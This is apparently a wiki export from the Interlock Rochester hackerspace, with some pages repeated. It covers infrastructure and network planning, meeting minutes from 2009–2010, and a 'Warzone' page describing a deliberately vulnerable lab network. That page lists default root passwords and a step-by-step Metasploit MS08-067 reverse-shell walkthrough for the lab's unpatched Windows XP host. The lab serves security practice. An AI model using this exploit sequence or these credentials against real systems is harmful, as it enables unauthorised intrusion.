| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
| || || '''10.10.0.0/22''' || '''Production''' || '''Supernet slice for all production networks''' (not actually routed)
|-
| OPT100 || 100 || 10.10.0.0/24 || Core || Core Equipment (routers, switches, etc)
|-
| OPT101 || 101 || 10.10.1.0/24 || Servers || Servers (LDAP, DHCP, DNS, etc - assuming not provided by router)
|-
| OPT102 || 102 || 10.10.2.0/25 || Wired Hosts || Shared workstations
|-
| OPT103 || 103 || 10.10.3.0/24 || Wireless Hosts || Registered Member laptops
|-
| OPT104 || 104 || 10.10.4.0/24 || Wireless Guests || Event Participants, Class registrants, etc - May be partitioned into a separate network, see below
|-
| OpenVPN || 105 || 10.10.5.0/24 || Production VPN clients || Network administration (core network)
|-
| OPT200 || 200 || '''10.200.0.0/16''' || '''Project''' || '''Network specific for individual projects. Should be sliced further to /24 and /26 networks as needed'''
|-
| OPT1000 || 1000 || '''192.168.1.0/24''' || '''Warzone''' || '''A place where invasive network attacks ''will'' occur. May also have VPN links to other hackerspaces (both in the US and abroad).''' Currently routed through it's own router, which is the 192.168.1.x network. If we eventually run through the pfSense box the IP scheme will be in the 10.100.42.x range
|}

See [[Network Switch Configuration]] for more details.

Last updated: --[[User:Ben Woodruff|-- BW]] 15:35, 14 August 2010 (UTC)

== Internet ==

We have decided on Frontier Business DSL for our internet connection. The contract has been signed and services are in place.

==Production==
The production network will be the main segment and will provide network access to Interlock's members. This network will be subdivided into 5 separate subnets, to help manage IP growth, and secure vital systems. The production network will not be used to perform penetration testing or other white hat hacking (port scans, IP sweeps, DoS, etc). The production network must have reliable uptime, as that other members will be dependent on it.

=== Change Control ===
The infrastructure group will need to determine a method to log changes to the network. A consensus must be reached within the group before any change can be done on the production network. Change management will ''loosely'' follow [http://en.wikipedia.org/wiki/Change_Management_%28ITSM%29 ITIL Recommendations].

== Planning ==
(not necessarily implemented)

=== Access ===
Access to core network equipment and topology will be restricted to those in the infrastructure group.

=== Services ===
* RADIUS/LDAP Server
** Central Authentication repository
** Should be linked with Google Apps

* Web Server
** Host the wiki, website, etc

* CoLo Boxes
** Not intended to host production/high bandwidth websites
** Used for offsite backup

* DHCP Server
** IP addresses will only be given out to know and trusted network adapters.
** A device registration system, like RIT's start.rit.edu, would be useful

* DNS Server

* File Server
** Access via SFTP, SMB, or WebDAV possibly

* VPN Server
** Provide VPN access to the network. This needs to be decided as to whether this will be implemented, and the scope of the build.

* Streaming Music Server
** Use a AirPort Extreme AP to play music via AirTunes

* Image Server
** RIS or Ghost

==Project==
** Each project should claim an address space (ie 172.25.15.y) so we can tell what traffic is coming from which projects
* Temporary, dynamic, but more static and stable than the warzone
* Change management much more loose than production network but there should be some expectation of reliability so please at least check with someone unless you're very sure of what you're doing
* Access to the internet
* Area to play with an test new technologies (for example, play with VOIP/SIP)

==[[Warzone]]==
* No expectation of reliability
* Relatively open access to equipment / no change management
* No expectation of structure, very dynamic depending on project use etc, may use different IP address schemes
* Expect to have equipment probed / pen tested
* ChaosVPN endpoint/node (link to other hackerspaces)
* "Rogue" access points allowed (maybe include DHCP message that states you'd better be sure you want to connect to this network - want to be friendly with our neighbors)

=Audio-Visual System=

'''Audio'''
*[http://www.bhphotovideo.com/c/product/541197-REG/Bogen_Communications_S810T725PG8W_Ceiling_Speaker_Assembly_with.html Public Address] system array across the ceiling
*Two speakers rigged to the top corners of the room
*Surround sound rigged to the top of the room (low priority)
*Inputs to an audio mixer/home receiver
*Sources: Microphone, CD/DVD, computers

'''Video'''
*Ceiling mounted projection
*Screen
*Sources: DVD, computers

Meetings

2010-08-14T15:58:30Z

Ben Woodruff:

= Minutes =
See [[MIBS_Simplified_Rules_of_Coordinated_Consensus_through_Chaos#The_Meeting_Agenda]] for agenda template

== September 7, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Network AUP
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===
Attendance:

==== Initialization ====

==== Officer Reports ====

==== Member Reports ====

==== Consent Agenda ====

Network AUP has been written, is in need of approval and inclusion in the membership agreement. Everyone must sign in order to have access to network resources.

==== New Business ====

==== Adjournment ====

== August 3, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Move Septembers meeting to 8:00 PM
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===
Attendance: Bill, Wayne, Nick, Ben, Brian, Mark, Joe, and Carl

==== Initialization ====
19:10

==== Officer Reports ====
President - See link above

Vice President - See link above

Treasurer - Members late with monies: 3, members 30+ days late: 3, members 60+ days late: 2. Reminders sent to all, door shutoff for 30+ and removed as member 60+. Please pay and email Treasurer if any issue. 11 members paid (10 regular and 1 student).

Secretary - Proud Mary 19:11

==== Member Reports ====

Carl - Informed group about the fairly busy Linux workshop this past weekend. Several helpers and people showed up to learn and install linux. Needed someone to make sure that Linux Workshop doors need to be open Aug 21st buy a member. JustBill volunteered. He is also thinking of setting up one of the Make Nights to do build your own NAS installs - more info to follow on mailing list. Carl has also volunteered to teach a basic electronics class after the upcoming Processing/Arduino class mentioned on the mailing list.

Joe - LUGOR will be starting their meetings soon. See Joe for details.

==== Consent Agenda ====

Due to upcoming Processing/Arduino class it was proposed to group to have Septembers Board meeting at 8:00 as to not interfere with the class. Nobody objected. Motion passed.

==== New Business ====

Just a reminder that there is an upcoming 5 week class on Processing and Arduino. Many members have expressed interest and will be doing the class. More info [http://training.oreilly.com/arduino/] . See you there.

==== Adjournment ====

19:28

== July 5, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Consent Agenda
## Renew our Meetup.com service at $72 for six more months
## Reimburse Beardicus for non-pre-ordered Interlock t-shirts (less than ten at the moment) and hold in "inventory" for future sale.
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
## Secretary
# [[Member Reports]]
# Adjournment

=== Minutes ===

==== Members Present ====
Attendance: Carl, Mark, Ben, Brian, Wayne, Nick, Bill

==== Initialization ====
19:45

==== Officer Reports ====
President - He made a summary of Interlock updates. We were at FOSSCON and held a table.

Vice President - [[Vice-President#Officer_Report_7.2F6.2F2010| see report]]

Treasurer - Multiple finances discussed. More detailed report to follow but it was about income, members, and total expenditures.

Secretary - Hi My name is "Just"Bill and I'm the new secretary till next voting cycle. Please forgive me for any of my mistakes.

==== Member Reports ====

Nick - Just wanted to announce that BinaryMan (Chris) received his HAM technical license.

==== Consent Agenda ====

Moved to new business due to Treasurers report

==== New Business ====

# Renew Meetup.com - Mark will float the cost and the Interlock will keep an open purchase order for reimbursement until fund get more soluble.
# Reimbursement for T-Shirts. Same as #1 will keep open purchase order until funds are more available. Brian will fund until then.

==== Adjournment ====

20:06

== June 1, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# Officer Reports
## [[President]]
## [[Vice-President]]
## Treasurer
# [[Member Reports]]
# Adjournment

=== Minutes ===

==== Members Present ====
Attendance: Carl, Nick, Mark, Brian, Steve, Bill, Ben, Wayne

==== Initialization ====
President starts the meeting at 7:15. Minutes from last meeting are approved.

==== Officer Reports ====
[[President]] gives his report (linked)
[[Vice-President]] gives his report (linked)

==== Member Reports ====
Steve gives a member report on an intranet portal he's developing for Interlock... wikis, blogs, files, events (and much much more!)

==== Adjournment ====
Meeting adjourns at 7:30.

=== Addition ===
Change in officers. Alan Dipert and Ashley McClelland have left the organzation. Brian Boucheron is the new president. We are still looking for a Secretary.

== May 4, 2010 ==
=== Agenda ===
# Approve draft minutes of the last meeting
# The Consent Agenda
## Approve the [http://www.interlockroc.org/wiki/index.php?title=Bylaws&oldid=1169 bylaws]
# Officer Reports
## [[President]]
## [[Vice-President]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
# Adjournment

=== Minutes ===

==== Members Present ====
Brian, Alan, Ashley, Mark, Alvaro, Carl, Ben, Steve, Nick, Rowan, Jim, Wayne

==== Initialization ====
President starts the meeting at 7:08. Last meeting's draft minutes were approved.

==== Consent Agenda ====
No objections.

==== Officer Reports ====
[[President]] gives his report (linked)

[[Vice-President]] gives his report (linked)

The Treasurer gives her report. Membership is down 1 from last month, expenses are as per usual.

==== Member Reports ====
Carl mentions the Linux workshops for the next two months (see the calendar)

==== Adjournment ====
Meeting adjourns at 7:26.

== April 20, 2010 (Special Meeting) ==
=== Agenda ===
# The Consent Agenda
## Approve [[petty cash budget]]
# [[Officer Reports]]
## [[President]]
## [[Vice-president]]
## [[Treasurer]]
## [[Secretary]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
# Adjournment

=== Minutes ===

Members in attendance: Brian, Mark, Ashley, Alan, Joe, Jim, Rowan, Carl,

President starts the meeting at 7:10

==== Consent Agenda ====
Consent agenda passes without objection.

==== Adjournment ====
Meeting is adjourned.

== April 6, 2010 ==

=== Agenda ===

# Draft minutes of the last meeting
# The Consent Agenda
## Special meeting, April 20th to discuss improving [[Recruitment|recruitment]], modifying our [[Budget|budget]], improving our [[Finances|finances]].
## Approve [[Bylaws]]
## Approve [[Membership Agreement]]
# [[Officer Reports]]
## [[President]]
## [[Vice-president]]
## [[Treasurer]]
### Approve [[Budget]]
## [[Secretary]]
# [[Member Reports]]
# [[Old Business]]
# [[New Business]]
## [[Hospitality budget]]
## [[Cleaning supplies]]
## [[Hacker of The Month|Hacker of the Month]] Funds
## [[Inventory]]
# Adjournment

=== Minutes ===
Members Present: Brian, Mark, Steven, Carl, Ben, Nick, Alvaro, Rowan, Alan, Ashley, Tim

The president begins the meeting at 7:08

Minutes from the March 3 meeting are approved.

==== Consent Agenda ====
Joe objects to passing the bylaws. Moved to new business.
All other motions pass.

==== Officer Reports ====
[[President]] gives his report (Linked)
[[Vice-President]] gives his report (Linked)

Treasurer gives her report on the state of our funds and membership. Budget can be viewed at the Google Docs site.

Secretary has nothing to report

==== Member Reports ====
Rowan reports on the IP web camera and LV jack boxes.

Tim reports on networking. Network will be complete by 4/7/2010, minus boxes for jack.

==== Old Business ====
NULL

==== New Business ====
* Bylaws
The issue stated is that the bylaws don't make it clear what the powers of the board of directors vs. the membership. Language is proposed to make this clearer.

Rowan brings up a concern about term limits for board of directors and officers.

Joe proposes that the board members be given some power for action between meetings.

Bylaws are not passed and are deferred to the next regular meeting.

* Hospitality budget is discussed, but not passed. Summary is that $20 would be budgeted each month for First Friday supplies and other essentials. Details will be provided at later meeting.

==== Adjournment ====
Meeting is adjourned at 7:53

== March 9, 2010 ==
Lightning Talks:

Signed Up: Alan(Machines that think), Alvaro(Orienteering, Remote Backup), Andrei(Contemporary Art), Ashley(Learning Programming), Beardicus(Wee Booklet), Ben(irssi+screen), Carl(Cat5, Soldering), Jason(Low Impact Local Network Recon), Justin(Go, XSS/XSRF Demo), Joe(Pymol Molecular Viewer), Mark(XSS/XSRF), Steve(Free Public Wifi), Remy(Open Video Chat Program team Intro)

== March 2, 2010 ==

Members Present: Brian, Mark, Ashley, Alan, Carl, Joe, Wayne, Nick, Ben, Steven

The president begins the meeting at 7:11.

=== Consent Agenda ===

NULL

=== Officer Reports ===

(Reports were provided orally, with no hardcopy transcriptions)

The President reports on the general status of the organization.

The Vice President gives an update on the status of the networking project.

The Secretary has nothing to report, and requests future officer reports be provided in writing for more comprehensive minutes.

The Treasurer has nothing to report this month.

=== Member Reports ===

Joe presents his knit n900 cozy and clues us in to virtualization plans for the space

Steven nominates himself safety dictator, explains plans to abuse his power

=== Old Business ===

NULL

=== New Business ===

NULL

=== Adjournment ===

TRUE

== February 23, 2010 ==
* Agenda
** Introductions
** Organization Updates
** Project Updates
** Open Announcements
*** Lightning Talks

== February 23, 2010 ==
* Agenda
** Introductions
** Organization Updates
*** Move in timeline
*** MIBS reminder
*** March 2nd first meeting
** Project Updates
** Open Announcements
*** Lightning Talks

== February 15, 2010 ==
* Agenda
** Introductions
** 15 Min MIBS review/walkthrough
** Organization Updates
** Project Updates
** Open Announcements

== February 9, 2010 ==
* Agenda
** 15 Min MIBS review
** Introductions
** Last Week Meeting Review
** Organization Updates
** Project Updates
** Open Announcements

== February 2, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Bank Account/Paypal
*** Meeting Changes
**** Consensus through Chaos
**** Official Meetings monthly but weekly open nights
**** Officer roles review
**** Voting Scenarios
** Project Updates
*** First Friday Organization
*** Door Security System
*** Other member projects
** Open Announcements

== January 26, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Bank Account
** Project Updates
*** Door/Security System
** Open Announcements
* Minutes
** Bank account: in motion. Waiting on some paper work
** Door project: learning about the ibuttons
** Sneyha: outreach meeting.
*** Need ideas for first friday
*** planning on a green screen
** RemyD: Who else comes out for first friday?
*** Sneyha: A ton of the people in the building
** Carmen: has a project related to inventoring computers
** Discussion about doing classes
** Alan: Haiti relief outreach
** Rowan: HAM radio group
** Alan: be kind on IRC
** RemyD: www.opensource.com - news portal for open source articles
** Sneha: wine tour
** RemyD: Stallman is coming to town on Feb 23
** Steve: Enable effing SSL on google apps!

== January 19, 2010 ==
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
*** Changes to bylaws
*** Changes to member agreement
** Project Updates
** Open Announcements
* Minutes
1/19
*introductions, alan, deejoe, carl, brian, steve, nick, josh, alex, ben, bill, ashley, mark, jon, chris, remy

carl outreach summary:
** join first friday
** video commercial
** running robots
** barcamp in april
** lightning talks at barcamp
** fosscon - june - remyd is an organizer
** linux workshop outreach went well - 12 people came - next one in February
** maybe talk to Lugor about doing hands on workshop after a lugor discussion
** writing workshop to teach anyone how to write
** ashley: keep writing focused
* lightning talks again
*alan: want to also give back to the community like linux workshop
* alan:bylaws and membership agreement
*alan, ashley, mark, brian and others met to go over bylaws and mission statement
* changes are on the wiki
*ashley: maybe do a mock mibs walkthrough
*alan: share the google doc to everyone
* alan got the EIN
* thursday mark, brian, ashley, alan, will be going to the bank
*question: josh: how open are finances
*answer: everyone: as open as you want to be. meetings will have
*ben: if anyone has suggestions for the space design, make them known now
*steve: internet connection
** the acct rep received fax
** she's going to let us know install date
*alan: programming for beginners class
** work with python group in Rochester
*brian: beginning electronics
** make magazine has beginner electronics book
** good for doing a class or group
* dude: we can get cheap stuff from radio shack and the internet has parts
*joe: bulk silly putty reminder
*steve: bulk coffee/tea maker
*chris: organizational membership to amazon
** you can pull out technical books
** view them online but access to TONS of books
** not sure on the costs
*Brian: Pledgie
** people can join and pledge their amount
** when it gets the amount it does whatever they've been planning (silly putty)
** another space used it successfully

== January 12, 2010 ==
* Attended: Carl, Avezou, Mora, Steve, Brian, Chris, Rowan, Andre, Sneha, Remy, Shawn, Carmen, Josh, Gina, Jimmy, Christina, Alvaro, Rachel, Brian, Ashlee, Ben, Mark, Ryan, Justin, Nick, Alan, Alex
* Agenda
** Introductions
** Last Week Meeting Review
** Organization Updates
** Voting:
*** IRC
** Project Updates
** Open Announcements
** EVENT: [http://www.meetup.com/Rochester-Hackerspace/calendar/12121705/ Lightning Talks]

== January 5, 2010 ==
* Attended: Ryan, Dawn, Carl, Steve, Josh, Alvaro, Alan, Bryan, Joe, Andrei, John, Ashley, Justin, Rowan
* Agenda
** Introductions
** Updates
*** Recap of SCORE meeting (Alan)
** Anything else?
* Discussed
** SCORE
*** With lawyer, 501(3)c process 6mo - year, $1000 - $1500
*** Importance of mission statement
** Separation of concerns: member agreement vs. bylaws
*** agreement is for limiting liability and other bare minimums
*** bylaws part culture, part rules
*** bylaws are really only about starting and stopping processes
*** we need a solid mission statement to define ourselves and guide decisions/priorities
** Outreach, community service, donation possibilities
*** "Linux Q & A" days

== December 22, 2009 ==
* Agenda
** NONE: relaxing discussion

== December 15, 2009 ==

* Attended: Brian, Jim, Nick, Avezou, Carl, Sneha, Steve, Ben, Ashley, Carmen, Joe, Bryan, Paul, Tim, Alvaro, JP, Joshua,
* Agenda
** Introductions
** Updates/Announcements
** ISP Options: Steve S.
** Intro to Wordpress (brief): Ben W.
** Projects
** Discuss next weeks Lightning Talks
** Holiday events, potlucks, parties, hoedowns?
** Best time to meet in the future
* Discussed:
** Introductions, met a few new prospects
** Ben's Wordpress intro presentation
** Discussion of our use of Wordpress and how we want to handle posting
** Steve's ISP presentation
** Wooby talks lightning, and projects
** Deejoe gives a passionate lightning talk about plastic bag storage

== December 8, 2009 ==
* Attended: Mark, Brian, Steve, Dan, Andrei, Joe, Carl, Carmen, Sneha, Matt, Ben, Bryan, Josh [...]
* Agenda:
**7: Introductions and updates, go over [http://wiki.interlockroc.org/index.php?title=MIBS_Simplified_Rules_of_Coordinated_Consensus_through_Chaos MIBS meeting rules]
**7:30: Hackerspace Presentation: Mark
**8: Move to new space
* Discussed:
** Introductions
** Officers announced. Mostly people on the lease or incorporation paperwork.
** Mark presented a bit on MIBS rules
** [http://docs.google.com/present/view?id=dnbv9rr_42ft4q8vff Hackerspace presentation]
** Sneha discusses public outreach activities
* Caravan to the temp space for discussion and beverages

== December 1, 2009 ==
* Attended: Carl, Ben, Jimmi, Kristina, Steve, Ashley, Andrei,
* Discussed:
** Bylaws went over a lot of the details.
** Bylaws: Decided to have an official meeting once a month unless otherwise requested
** Discussed dues
** updated everyone on lease signing status
** Ashley updated us on documents for incorporation
** Voted on whether or not to get the temp space or skip it and wait for the real space. Agreed to get the temp
** Introduced new members discussed goals of the organization
* Action Items:
** Directors: Sign lease and setup temp space

== November 23, 2009 ==

* Attended
** Mark, Brian, Ashley, Alan, Sneha, Carmen, Carl, Bryan, Ben, Jeremy, Rich
* Video: [http://www.ustream.tv/recorded/2628387 Part 1]
* Discussed
** Basement space at 1115 Main Street
*** $390 + electricity
*** Ready by February
** Temporary space available immediately
*** $280 + electricity
** Network connectivity options
*** Business class roadrunner $79 a month
*** Netsville
** Dues
*** Start payment 1st of December
*** Application form
** Business checking accounts and accounting
** First Month's rent
** Logos
** Wiki/Website stuff
*** maybe looking for a wiki with better ACLs
*** decision to departmentalize functions - wiki, website, blog, etc
** Dues through paypal for first month
** Bryan shows his illuminated bidness card
** Discussion about who will be the incorporators
** Presentation ideas for future meetings
***Python intro class
***Wordpress tutorial
***Software Defined Radio
**Ham radio discussion
** Future meetings may have first 1/2 hour as business-related matters, come afterwards if you're not interested in the nitty gritty of forming the space
* Actions
** Mark: Setup paypal account and email address
** Mark: Put together a membership package
** Alan: Put membership form online
** Goal: Have membership dues on December 1st
** Goal: Sign lease on Monday November 30th

== November 17, 2009 ==
* Attended: Mark, Sneha, Carmen, Ashley, Alan, Jimmi, Krystina, James, Justin, Robert, Joe, Ben, JP, Brian, (David)
* Recordings - [http://www.ustream.tv/recorded/2580888 Part 1]- [http://www.ustream.tv/recorded/2581335 Part 2]
* 1st meeting streamed online (ustream)
* Decided on Interlock as a group name.
** interlocroc.net, .com and .org domains have been acquired
* Discussion about three potential locations
** Griffith Ave
*** 3000/$1500 a month
*** No security deposit
*** Utilities = $200 a month
*** A bit too pricey
** E Main St
*** 1000/$450
*** 2000/$725
*** Utilities = $150 a month
** Village Gate
*** 500/$325
*** Utilities = $60 a month
* Talking about the budget
** Would prefer it to be about $35, but it will probably be higher at first until we get more members
** Looking at 501.c3
** Contacts in Buffalo chapter could be useful with this business setup
** Dues
*** $50 - Normal
*** $35 - Student
* Trip to Buffalo Chapter
** Visit to see what they have there
** After thanksgiving, on the weekend
*** Important for sponsorships

Action Items For Next week:
* Form a holding company (LLC, S-Corp) to get a bank account
* Focus on making the Main St. building work (talk to Felix, discuss details, find temp location)
* Plan for best way to form an NFP
* Create a focus group for developing a website

==November 11, 2009==
*Location: Spot Coffee
*Attended:
**Mark, Brian B., PT, Sneha, Dan, Carl, Andrei, Bryan, Josh, Ashley, Alan, Carmen
*Discussed:
**Summary of goals thus far, for new attendees.
**Updates from members about spaces scouted, etc.
***Sneha: 1000 square feet, 600 a month, Portland Ave., with storefront
***Look into spaces near the Public Market? High rent for RR55 ($900)
****Other spaces besides the refurbed railroad area? Space above cheese shop area?
**Introductions
**Show and Tell
***Bryan
****guitar hacks
*****tuning geegaws
*****patents
***Andrei
****[http://www.makershed.com/ProductDetails.asp?ProductCode=MSBM brain machine kit]
****circuit bent toy horn
***Mark
****lockpicking sets
****garmin gps units, wardriving discussion
*****obligatory [http://www.imdb.com/title/tt0086567/ Wargames] shoutout
****defcon badges
****bump key discussion
***Brian B.
****bookbinding
****sketchbooks
****[http://www.ponoko.com/ Ponoko] business cards
****[http://www.ponoko.com/ Makerbot] contact: sample print will be mailed out this weekend, hackerspace discount is available
****laser cutting, found [http://www.classact.net/ Class Act Engraving] in Akron, NY. Epilog laser reseller
***Carmen
****suitcase computer
**Random discussion
***Kegerator w/ Nagios monitoring

*Actions
**None specified

== November 6, 2009 ==
* Location: Spot Coffee
* Attended:
** Mark, Carmen, Sneha, Ben, Brian B, Stephen, Bryan S, Andrei, Tom, Josh, David, Karl
* Discussed:
** announcements from last week - flyers, wiki
** attendees' backgrounds and vision for the space
** rough plan of action re: naming, incorporation, non-profit filing
** future meeting ideas, including demos and presentations
** (EDIT)
* Actions:
** contribute to the wiki
** think of names
** (EDIT)

== October 28, 2009 ==
* Location: Spot Coffee
* Attended: Mark, Jeff, Carmen, Brian, Alan, Eric, Joe, Andrei, Bryan, Greg,
* Discussed:
** ideas
** made flyers
** other spaces
** meet and greet
* Actions:
** Mark: setup a wiki
** Mark: print out flyers

== October 21, 2009 ==
* Location: Spot Coffee
* Attended:
** Jerel, Matt, Mark, Jeff, Greg, Jimmi, Krystina
* Discussed:
** meet and greet
** buffalo hackerspace
* Actions:

Warzone

2010-08-14T15:45:48Z

Ben Woodruff: /* Etiquette */

[[image:warzonelogo.png|center]]

The warzone is a playground for security hackers. When joining this network you should assume that you will be attacked by other people on the network or the network itself. For those interested, there are systems set up that are designed to be exploited in different ways.

Feel free to poke around the network, setup your own boxes and services, make a honeypot, pop a box, or just watch the traffic.

[[image:warzone.png|center|800px]]

== Rules ==
None

== Etiquette ==
* '''DOS is for newbs''': Denial of service attacks are always possible with this setup. Intentional simple denial of service attacks (like ARP poisoning to nowhere or crashing switches) will be met with frowny faces and "pfffs" from your fellow members.
* '''You break it, you bought it''': If you are hacking away and the system or service becomes unresponsive, please do your best to bring it back up. If all else fails, talk to [[user:antitree|antitree]].
* '''Take off your whitehat''': Please don't break in and fix a hole for someone else. The network is designed for all skill levels and we'd like to keep even the simple vulnerabilities open. That being said, if you notice a hole in a member's PoB (personally owned box) it would be nice if you told them.

== How to join ==
Two options:
# join the wireless network with the ESSID "warzone" "AAAAAAAAAA I don't know the password!" You'll figure it out
# connect your system into any of the bottom two network jacks around the space

== On the network ==
=== Vulnerable Hosts ===
==== Damn Vulnerable Linux 00:0C:29:A6:83:1D====
http://www.damnvulnerablelinux.org

Designed to be a fully functioning Linux server with misconfigured/exploitable services. Can you find which ones?

==== De-ICE 100 00:0C:29:C0:6A:A4 ====
http://www.de-ice.net

De-ICE 100 is the first of a set of incrementally challenging vulnerable LiveCD's. 100 starts you out with the same kind of services as DVL. Check out their website for the storyline that goes along with it.

==== De-ICE 110 00:0C:29:C8:8E:3A ====
http://www.de-ice.net

De-ICE 110 is the second level of the vulnerable de-ice series of vulnerable LiveCD's. Check the website for the story line that goes along with this server.

==== Windows XP SP2 00:0C:29:B1:0F:1C ====
home brew

This is a standard windows XP image based on the images from the FDCC project. It was originally designed from the Metasploit Unleashed training servers. There is nothing particularly special about this but it is an unpatched system running some extra services. Some of us have already started to make a tagging board for fun.

==== Damn Vulnerable Web App 00:0C:29:C8:8E:3A ====
http://sourceforge.net/projects/dvwa/

Created by OWASP, DVWA attempts to be a simple web service that was horribly designed. XSS, SQLi, Remote file inclusion are just a few of the problems.

==== BadStore 123 00:14:22:0b:4a:3e ====
http://www.badstore.net/downloads/BadStore_net_v1_2_Manual.pdf?n=52

=== Service Providers ===
Not designed to be hacked but for setting up or providing test services.

==== ESX 4.0 ====
Vmware ESX provides most of the systems that are available on the network

192.168.1.10

==== Asterisk ====
http://www.asterisk.org/

This is not a designed to be vulnerable distribution but rather a VOIP system for testing vulnerabilities in this type of server.

Login: root/rochesterhackers

==== Backtrack 4 Final ====
http://www.backtrack-linux.org

Not designed to be a vulnerable system but it does have all the tools you'll need to exploit the rest of the network. Log in with SSH and use it to pivot through the rest of the network. Username is root and password is toor. All settings are persistent between reboots.

== Your first Metasploit Reverse Shell ==
Steps to hack your first system:
* ssh into the backtrack box (usually 192.168.1.202)
* username root password toor
* run a ping sweep of the network
nmap -sP 192.168.1.0/24
* review the IPs and find where the windows XP box is hiding
* start metasploit
/pentest/exploits/framework3/msfconsole
[[image:warzone1.png|thumb]]
* at the console use the MS08_067 Netapi exploit
msf > use exploit/windows/smb/ms08_067_netapi
* type show options to see what values are needed
* set the remote host to the IP address you found above
msf > set RHOST 192.168.1.200
* change the default port from 445 to 139
msf > set RPORT 139
[[image:warzone2.png|thumb]]
* set the payload to the reverse meterpreter shell
msf > set PAYLOAD windows/meterpreter/reverse_tcp
* set the local host of backtrack's IP so the shell knows where to connect back to
msf > set LHOST 192.168.1.202
* attack!
msf > exploit

If you have everything correct, you should get a meterpreter prompt. Now what can you do??....

== Next Steps ==
* add an onion topology - make multiple layers of the network and have some boxes bridge between the other networks. Attackers have to break into one system to get to the next network.
* Setup standard backups using a virtual appliance
* Add more systems from this resource: http://sourceforge.net/projects/virtualhacking/files/

Infrastructure

2010-08-14T15:41:28Z

Ben Woodruff: /* Interlock Rochester Infrastructure */

=Interlock Rochester Infrastructure=

{| class="wikitable" border="1"
|-
! Sub-group !! Lead !! Members
|-
| Power || JustBill
|-
| Environment ||
|-
| [[Hackerspace_Security_System|Security]] || [[User:Antitree|Mark Manning]]
|-
| Inter-hackerspace Communication || [[User:Antitree|Mark Manning]] || [[User:Ben Woodruff|Ben Woodruff]]
|-
| [[Network Infrastructure Group|Network]] || [[User:Ben Woodruff|Ben Woodruff]] || [[User:fvox13|Steve Smith]], [[User:IGadget|Rowan Hawkins]]
|-
|}

Please feel free to claim ownership of any empty spots above, or add yourself to the members list.
We need a decision on power needs sooner rather than later.

''' NOTE''': This page contains information with regard to network/server setup for the final space, not the temporary one. For the temp space, power distribution can be done with extension cords, while network access will be ad-hoc in nature.

=Power=
Overhead cord reels are a solution, but they must not remain plugged in at their source when not in use in order to comply with fire code. Cable trays are not a good solution for power. (They are a pain in the ass.)

=Environmental=
The space will need to have environmental controls in the event that servers will be kept in location. The general operating temperature of servers and network equipment should be around 75F. In order to ensure this, the purchase of an AC system may be necessary depending on what projects we approve.

'''Things we may need to acquire:'''
*<s>Heater</s> <-- Heat is included
*Air Conditioner
*Dehumidifier
*<s>Thermostat/Thermometer</s> <-- Usually bundled with AC

==Recycling==
We don't want to horde a bunch of stuff that will never get used, but things that are likely to get recycled (especially scraps of raw materials) we should hold on to. This not only potentially benefits the environment, it's in our best interest from a costs perspective as well.

=Network=

See [[Phase 0 Networking]]

[[image:Interlock_logical.jpg|thumb|See [[file:interlock_logical.vsd]]]]

The network infrastructure group will create and maintain the [[network acceptable use policy]]. The policy will be approved by the board of directors and then signed by every member who wants access to any of the following networks.

In order to meet the demands of the group over time, the network will be segregated into 3 main segments:
(in order of priority for setup)
* Production [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Production >]
* Project [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Project_.2F_Project >]
* Warzone [http://www.interlockroc.org/wiki/index.php?title=Infrastructure#Warzone >]

Each main segment will have an associated color code for its jacks (as is seen above), both on the walls, as well as near the network equipment. Category 6 cabling would be preferred for the environment. Each wall plate should be 6 feet apart, and should contain at least 1 of each colored jacks. Every jack should have 2 drops associated with it.

== Subnets ==
{| class="wikitable" border="1"
|-
! if !! VLAN !! Network/Mask !! Name !! Description
|-
